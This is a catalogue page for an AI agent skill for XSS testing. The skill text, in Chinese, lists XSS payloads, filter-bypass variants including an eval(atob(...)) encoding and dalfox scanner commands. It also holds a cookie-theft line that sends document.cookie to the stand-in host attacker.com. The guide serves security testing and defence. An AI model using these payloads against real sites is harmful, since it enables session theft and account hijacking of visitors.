xss-testing

xss-testing is a skill for Claude Code, Codex from liuxinye23/CyberStrikeAI. It costs 15 tokens per session (945 once invoked), scanned C, original, Apache-2.0.

A security-testing guide for cross-site scripting (XSS), an attack that makes a website run unwanted JavaScript in a visitor’s browser. It covers reflected, stored, and DOM-based XSS.

In plain words
What is it for?
Testing web forms, URLs, stored content, and client-side JavaScript handling for XSS vulnerabilities.
Why use it?
It helps identify ways user input could be turned into harmful browser code, including cases that bypass simple filters.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Testing web forms, URLs, stored content, and client-side JavaScript handling for XSS vulnerabilities.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/liuxinye23/cyberstrikeai/xss-testing
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add liuxinye23/CyberStrikeAI --skill xss-testing
Clone the repo
git clone --depth 1 https://github.com/liuxinye23/CyberStrikeAI

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for xss-testing

README.md
[![agentmods](https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/xss-testing.svg)](https://agentmods.dev/skills/liuxinye23/cyberstrikeai/xss-testing)
Your own site
<a href="https://agentmods.dev/skills/liuxinye23/cyberstrikeai/xss-testing"><img src="https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/xss-testing.svg" alt="Measured on agentmods" height="20"></a>
Per session 15 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 945 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00015 $0.00945
Opus 5 $0.00008 $0.00473
Sonnet 5 $0.00003 $0.00189
Haiku 4.5 $0.00002 $0.00094

Measured 8d ago against content hash 00ec5389fcb4, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade C, and why

xss-testing scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Encoded or obfuscated payloadhighSupply chain

base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.

<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>
skills/xss-testing/SKILL.md · 136 lines

How it starts

The opening of the file, as written. The whole thing — 136 lines — stays where its author put it; the contents beside it link to each section on GitHub.

XSS测试技能

概述

跨站脚本攻击(XSS)允许攻击者在受害者的浏览器中执行恶意JavaScript代码。本技能涵盖反射型、存储型和DOM型XSS的测试方法。

XSS类型

1. 反射型XSS (Reflected XSS)

  • 恶意脚本通过URL参数传递
  • 服务器直接返回包含脚本的响应
  • 需要用户点击恶意链接

2. 存储型XSS (Stored XSS)

  • 恶意脚本存储在服务器(数据库、文件等)
  • 所有访问受影响页面的用户都会执行脚本
  • 影响范围更大

3. DOM型XSS (DOM-based XSS)

  • 客户端JavaScript处理用户输入不当
  • 不涉及服务器端处理
  • 通过修改DOM结构触发

测试方法

基础Payload

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>

绕过过滤

大小写绕过
<ScRiPt>alert('XSS')</ScRiPt>
编码绕过
%3Cscript%3Ealert('XSS')%3C/script%3E
&#60;script&#62;alert('XSS')&#60;/script&#62;
事件处理器
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<div onmouseover=alert('XSS')>hover</div>
<input onfocus=alert('XSS') autofocus>
伪协议
<a href="javascript:alert('XSS')">click</a>
<iframe src="javascript:alert('XSS')">

高级绕过技术

使用String.fromCharCode
<script>alert(String.fromCharCode(88,83,83))</script>
使用eval和atob
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>
使用HTML实体
&#60;script&#62;alert('XSS')&#60;/script&#62;

工具使用

dalfox

# 基础扫描
dalfox url "http://target.com/page?q=test"

# 指定参数
dalfox url "http://target.com/page" -d "q=test" -X POST

# 使用自定义payload
dalfox url "http://target.com/page?q=test" --custom-payload payloads.txt

Burp Suite

  • 使用Intruder模块进行批量测试
  • 使用Repeater手动测试
  • 使用Scanner自动检测

浏览器控制台

  • 测试DOM型XSS
  • 检查JavaScript执行环境
  • 调试payload

验证和利用

验证步骤

  1. 确认payload被执行
  2. 检查是否被过滤或编码
  3. 测试不同上下文(HTML、JavaScript、属性等)
  4. 评估影响(Cookie窃取、会话劫持等)

利用场景

  • Cookie窃取:<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
  • 键盘记录:注入键盘事件监听器
  • 钓鱼攻击:伪造登录表单
  • 会话劫持:获取用户会话token

报告要点

  • XSS类型(反射/存储/DOM)
  • 触发位置和参数
  • 完整的POC
  • 影响评估
  • 修复建议(输出编码、CSP策略等)

防护措施

  • 输入验证和过滤
  • 输出编码(HTML、JavaScript、URL)
  • Content Security Policy (CSP)
  • HttpOnly Cookie标志
  • 使用安全的框架和库

Read the full file on GitHub · 136 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 136 lines · 15 tokens per session scan C 00ec5389fcb4

Subscribe to this mod's changes

xss-testing is a skill published in the GitHub repository liuxinye23/CyberStrikeAI (0 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 15 tokens to every session and 945 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it C with 1 finding (encoded or obfuscated payload). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

systematic-debugging

Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.

obra/superpowers · 21 tokens

local-ai-agents

Build local-first AI agents that run entirely on a developer workstation with Microsoft Foundry Local and Qwen function-calling models. Covers Small Language Models (SLMs), the OpenAI-compatible local endpoint, sandboxed local tools, local RAG with Chroma, local MCP servers, hybrid cloud/local routing, and the…

microsoft/ai-agents-for-beginners · 200 tokens

next-cache-components-adoption

Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…

vercel/next.js · 95 tokens

next-cache-components-optimizer

Drive a Next.js route to instant navigation by setting up an agentic loop, under Cache Components / PPR, on initial load (hard navigation) and client-side navigation (soft navigation). Encode the goal as a failing @next/playwright instant() e2e and work it to green, one verified route at a time; the shipped test then…

vercel/next.js · 170 tokens

next-partial-prefetching-adoption

Turn on Partial Prefetching in a Next.js app and work through the insights it surfaces. Use when the user wants to enable or adopt Partial Prefetching, flip the partialPrefetching flag, opt routes in with export const prefetch = 'partial', audit Link prefetch={true} behavior, preserve existing prefetched UI with…

vercel/next.js · 103 tokens

chronicle

Analyze Copilot session history for standup reports, usage tips, session search, and session reindexing. Use when the user asks for a standup, daily summary, usage tips, workflow recommendations, wants to search or find past sessions by keyword/file/PR, wants to reindex their session store, or asks about deleting…

microsoft/vscode · 72 tokens